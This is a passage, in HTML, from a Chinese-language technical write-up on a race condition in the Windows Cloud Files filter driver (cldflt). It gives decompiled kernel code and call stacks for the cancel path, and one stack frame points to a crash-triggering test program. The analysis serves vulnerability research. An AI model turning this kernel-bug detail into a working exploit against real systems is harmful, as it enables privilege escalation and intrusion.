0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来，我将展示导致内核代码中竞态条件的执行流程。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">取消路径</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如前所述，当通过 CLDFLT 发起读写请求时，系统会生成一个对象来对接 CallbackData（CBD）的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">QueueLink</span></code><span leaf="">。从示例文件读取请求的栈追踪中可以看到，调用了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CldiStreamInsertIntoCancelSafeQueue</span></code><span leaf="">函数。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">NTSTATUS __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CldiStreamInsertIntoCancelSafeQueue</span></span><span leaf="">(</span><br/><span leaf="">        CLDI_STREAM_CONTEXT_VIEW *OpenContext,</span><br/><span leaf="">        PFLT_CALLBACK_DATA Cbd,</span><br/><span leaf="">        __int64 TraceArg,</span><br/><span leaf="">        CLDI_STREAM_REQUEST *Request)</span><br/><span leaf="">{</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !Cbd || (Cbd-&gt;Flags &amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">) == </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">  {</span><br/><span leaf="">    ...</span><br/><span leaf="">  }</span><br/><span leaf="">  reuse = Cbd-&gt;QueueContext[</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">];</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( reuse )</span><br/><span leaf="">  {</span><br/><span leaf="">    ...</span><br/><span leaf="">  }</span><br/><span leaf="">  newCbdqRefBlock = </span><span style="color: rgb(0, 92, 197);"><span leaf="">ExAllocateFromPagedLookasideList</span></span><span leaf="">(Lookaside: &amp;Lookaside);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( newCbdqRefBlock )</span><br/><span leaf="">  {</span><br/><span leaf="">    newCbdqRefBlock-&gt;CallbackData = nullptr;</span><br/><span leaf="">    newCbdqRefBlock-&gt;IoContextBlock.</span><span style="color: rgb(36, 41, 46);"><span leaf="">IoContext</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">FltIoContext</span></span><span leaf=""> = nullptr;</span><br/><span leaf="">    newCbdqRefBlock-&gt;IoContextBlock.</span><span style="color: rgb(36, 41, 46);"><span leaf="">IoContext</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Reserved08</span></span><span leaf=""> = nullptr;</span><br/><span leaf="">    newCbdqRefBlock-&gt;Reserved18 = nullptr;</span><br/><span leaf="">    newCbdqRefBlock-&gt;RefCount = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">    newCbdqRefBlock-&gt;Reserved24 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">LODWORD</span></span><span leaf="">(newCbdqRefBlock-&gt;LastPreparedQpc) = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">HIDWORD</span></span><span leaf="">(newCbdqRefBlock-&gt;LastPreparedQpc) = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">    Cbd-&gt;QueueContext[</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">] = newCbdqRefBlock;</span><br/><span leaf="">    newCbdqRefBlock-&gt;CallbackData = Cbd;</span><br/><span leaf="">    Cbd-&gt;QueueLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Blink</span></span><span leaf=""> = &amp;Cbd-&gt;QueueLinks;</span><br/><span leaf="">    Cbd-&gt;QueueLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf=""> = &amp;Cbd-&gt;QueueLinks;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( WPP_GLOBAL_Control != &amp;WPP_GLOBAL_Control</span><br/><span leaf="">      &amp;&amp; (</span><span style="color: rgb(0, 92, 197);"><span leaf="">HIDWORD</span></span><span leaf="">(WPP_GLOBAL_Control-&gt;Timer) &amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x100</span></span><span leaf="">) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><br/><span leaf="">      &amp;&amp; </span><span style="color: rgb(0, 92, 197);"><span leaf="">BYTE1</span></span><span leaf="">(WPP_GLOBAL_Control-&gt;Timer) &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">4u</span></span><span leaf=""> )</span><br/><span leaf="">    {</span><br/><span leaf="">     ...</span><br/><span leaf="">    }</span><br/><span leaf="">    ctx = Cbd-&gt;QueueContext[</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">];</span><br/><span leaf="">    Request-&gt;CbdqRefContext = ctx;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">_InterlockedIncrement</span></span><span leaf="">(&amp;ctx-&gt;RefCount);</span><span style="color: rgb(106, 115, 125);"><span leaf="">// INSERT Request to CBD-&gt;QueueLinks via CldiStreamCdqINSERT_IO</span><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">FltCbdqInsertIo</span></span><span leaf="">(</span><br/><span leaf="">      Cbdq: &amp;OpenContext-&gt;RuntimeView-&gt;InstanceContext-&gt;Cbdq,</span><br/><span leaf="">      Cbd,</span><br/><span leaf="">      Context: &amp;Request-&gt;CbdqRefContext-&gt;IoContextBlock,</span><br/><span leaf="">      InsertContext: Request); </span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><br/><span leaf="">  ...</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CldiStreamInsertIntoCancelSafeQueue</span></code><span leaf="">函数的目的是：当 CLDFLT 请求被取消时，允许将其从回调数据中安全移除。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来查看 CLDFLT 请求被取消时调用的函数。在此之前，以下是取消过程中生成的调用栈：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span leaf=""> FLTMGR!FltpFreeIrpCtrl </span><span style="color: rgb(106, 115, 125);"><span leaf="">// Free CBD</span><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">01</span></span><span leaf=""> FLTMGR!FltpProcessIoCompletion+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0xf0</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">02</span></span><span leaf=""> FLTMGR!FltpPassThroughCompletionWorker+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x23f</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">03</span></span><span leaf=""> FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x227</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">04</span></span><span leaf=""> FLTMGR!FltCompletePendedPreOperation+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0xf5</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">05</span></span><span leaf=""> cldflt!HsmiRecallPostProcessUserHydrationRequest+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x7b0</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">06</span></span><span leaf=""> cldflt!HsmiRecallPostProcessHydration+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x177</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">07</span></span><span leaf=""> cldflt!HsmiRecallHydrationCompletionCallback+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x59</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">08</span></span><span leaf=""> cldflt!CldiStreamCompleteRequest+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x201</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">09</span></span><span leaf=""> cldflt!CldiStreamCompleteCanceledRequest+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x228</span></span><br/><span leaf="">0a cldflt!CldiStreamCdqCOMPLETE_CANCELED_IO+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x84</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">0b</span></span><span leaf=""> cldflt!CldStreamCdqCOMPLETE_CANCELED_IO+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x9</span></span><br/><span leaf="">0c FLTMGR!FltpCompleteCanceledIrp+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x24</span></span><br/><span leaf="">0d nt!IopCsqCancelRoutine+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x93</span></span><br/><span leaf="">0e nt!IoCancelIrp+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0xae</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">0f</span></span><span leaf=""> nt!IopCancelIrpsInFileObjectList+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x1e1</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">10</span></span><span leaf=""> nt!IopCancelIoFile+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x52</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">11</span></span><span leaf=""> nt!NtCancelIoFileEx+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x6f</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">12</span></span><span leaf=""> nt!KiSystemServiceCopyEnd+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x25</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">13</span></span><span leaf=""> ntdll!NtCancelIoFileEx+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x14</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">14</span></span><span leaf=""> CRASH!CancelRequestCldflt+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0xd3</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">请注意，</span><strong><span leaf="">IopCsqCancelRoutine</span></strong><span leaf="">在调用 </span><strong><span leaf="">CldStreamCdqREMOVE_IO</span></strong><span leaf="">时获取锁，并在移除完成后释放锁。相反，CLDFLT 自身每当需要与回调数据队列交互时就会调用 </span><strong><span leaf="">CldStreamCdqACQUIRE</span></strong><span leaf="">。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">IopCsqCancelRoutine</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">_DEVICE_OBJECT</span></span><span leaf=""> *DeviceObject, </span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">_IRP</span></span><span leaf=""> *Irp)</span><br/><span leaf="">{</span><br/><span leaf="">  queueIrql = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">KeReleaseQueuedSpinLock</span></span><span leaf="">(Number: </span><span style="color: rgb(0, 92, 197);"><span leaf="">7u</span></span><span leaf="">, OldIrql: Irp-&gt;CancelIrql);</span><br/><span leaf="">  csqContext = (PIOP_CSQ_CONTEXT)Irp-&gt;Tail.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Overlay</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">DriverContext</span></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf="">];</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( csqContext-&gt;Type == </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf=""> )</span><br/><span leaf="">  {</span><br/><span leaf="">    csq = csqContext-&gt;Csq;</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><br/><span leaf="">  {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( csqContext-&gt;Type - </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf=""> &gt; </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf=""> )</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf="">;</span><br/><span leaf="">    csq = (PIOP_CSQ)Irp-&gt;Tail.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Overlay</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">DriverContext</span></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf="">];</span><br/><span leaf="">  }</span><br/><span leaf="">  csq-&gt;ReservePointer = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span leaf="">  csq-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">CsqAcquireLock</span></span><span leaf="">(csq, &amp;queueIrql); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// CldStreamCdqACQUIRE</span><br/></span><span leaf="">  csq-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">CsqRemoveIrp</span></span><span leaf="">(csq, Irp); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// CldStreamCdqREMOVE_IO</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( csqContext != (PIOP_CSQ_CONTEXT)csq )</span><br/><span leaf="">  {</span><br/><span leaf="">    csqContext-&gt;Reserved = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span leaf="">    Irp-&gt;Tail.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Overlay</span></span><span leaf="">.</span><span style="color: rgb(36, 41, 46);"><span leaf="">DriverContext</span></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf="">] = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span leaf="">  }</span><br/><span leaf="">  releaseIrql = queueIrql;</span><br/><span leaf="">  csq-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">CsqReleaseLock</span></span><span leaf="">(csq, queueIrql); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// CldStreamCdqRELEASE</span><br/></span><span leaf="">  csq-&gt;</span><span style="color: rgb(0, 92, 197);"><span leaf="">CsqCompleteCanceledIrp</span></span><span leaf="">(csq, Irp); </span><span style="color: rgb(106, 115, 125);"><span leaf="">//CldStreamCdqCOMPLETE_CANCELED_IO</span><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CLDFLT 请求被取消后，会从 QueueLink 中解链并释放。请注意 </span><strong><span leaf="">CldStreamCdqCOMPLETE_CANCELED_IO</span></strong><span leaf="">中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NonCdqCompletionLinks</span></code><span leaf="">字段。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CldiStreamCdqCOMPLETE_CANCELED_IO</span></span><span leaf="">(PFLT_CALLBACK_DATA_QUEUE Cbdq, PFLT_CALLBACK_DATA Cbd)</span><br/><span leaf="">{</span><br/><span leaf="">  FirstStreamContext = nullptr;</span><br/><span leaf="">  QueueLinksHead = &amp;Cbd-&gt;QueueLinks;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( QueueLinksHead-&gt;QueueLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf=""> != QueueLinksHead )</span><br/><span leaf="">  {</span><span style="color: rgb(106, 115, 125);"><span leaf="">//////// unlink</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">do</span></span><br/><span leaf="">    {</span><br/><span leaf="">      QueuedRequestLink = QueueLinksHead-&gt;QueueLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf="">;</span><br/><span leaf="">      NextLink = QueueLinksHead-&gt;QueueLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf="">-&gt;Flink;</span><br/><span leaf="">      BlinkLink = &amp;QueueLinksHead-&gt;QueueLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf="">-&gt;Blink-&gt;Flink;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( NextLink-&gt;Blink != QueueLinksHead-&gt;QueueLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf=""> || *BlinkLink != QueuedRequestLink )</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">__fastfail</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">3u</span></span><span leaf="">);</span><br/><span leaf="">      *BlinkLink = NextLink;</span><br/><span leaf="">      NextLink-&gt;Blink = BlinkLink;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(ptr: QueuedRequestLink)-&gt;NonCdqCompletionLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Blink</span></span><span leaf=""> = QueuedRequestLink;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(ptr: QueuedRequestLink)-&gt;NonCdqCompletionLinks.</span><span style="color: rgb(36, 41, 46);"><span leaf="">Flink</span></span><span leaf=""> = QueuedRequestLink;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(ptr: QueuedRequestLink)-&gt;IsSynchronousRequest = </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !FirstStreamContext )</span><br/><span leaf="">        FirstStreamContext = </span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(ptr: QueuedRequestLink)-&gt;StreamContext;</span><span style="color: rgb(106, 115, 125);"><span leaf="">// complete and free </span><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">CldiStreamCompleteCanceledRequest</span></span><span leaf="">(Request: </span><span style="color: rgb(0, 92, 197);"><span leaf="">ADJ</span></span><span leaf="">(ptr: QueuedRequestLink), CompletionStatus: STATUS_CANCELLED);</span><br/><span leaf="">    }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">while</span></span><span leaf=""> ( BlinkLink != NextLink );</span><br/><span leaf="">  }</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">到这里一切正常；以下是需要牢记的取消路径总结：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">// CANCEL </span><br/></span><span leaf="">Step </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf=""> : CldStreamCdqACQUIRE</span><br/><span leaf="">Step </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf=""> : CldStreamCdqREMOVE_IO</span><br/><span leaf="">Step </span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf=""> : CldStreamCdqRELEASE</span><br/><span leaf="">Step </span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span leaf=""> : CldStreamCdqCOMPLETE_CANCELED_IO</span></code></pre><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">完成路径</span></h3><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">: kd&gt; kc </span><br/><span leaf=""> # Call Site</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span leaf=""> FLTMGR!FltpFreeIrpCtrl</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">01</span></span><span leaf=""> FLTMGR!FltpProcessIoCompletion</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">02</span></span><span leaf=""> FLTMGR!FltpPassThroughCompletionWorker</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">03</span></span><span leaf=""> FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">04</span></span><span leaf=""> FLTMGR!FltCompletePendedPreOperation</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">05</span></span><span leaf=""> cldflt!HsmiRecallPostProcessUserHydrationRequest</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">06</span></span><span leaf=""> cldflt!HsmiRecallPostProcessHydration</span><br/><span style="color: rgb(0, 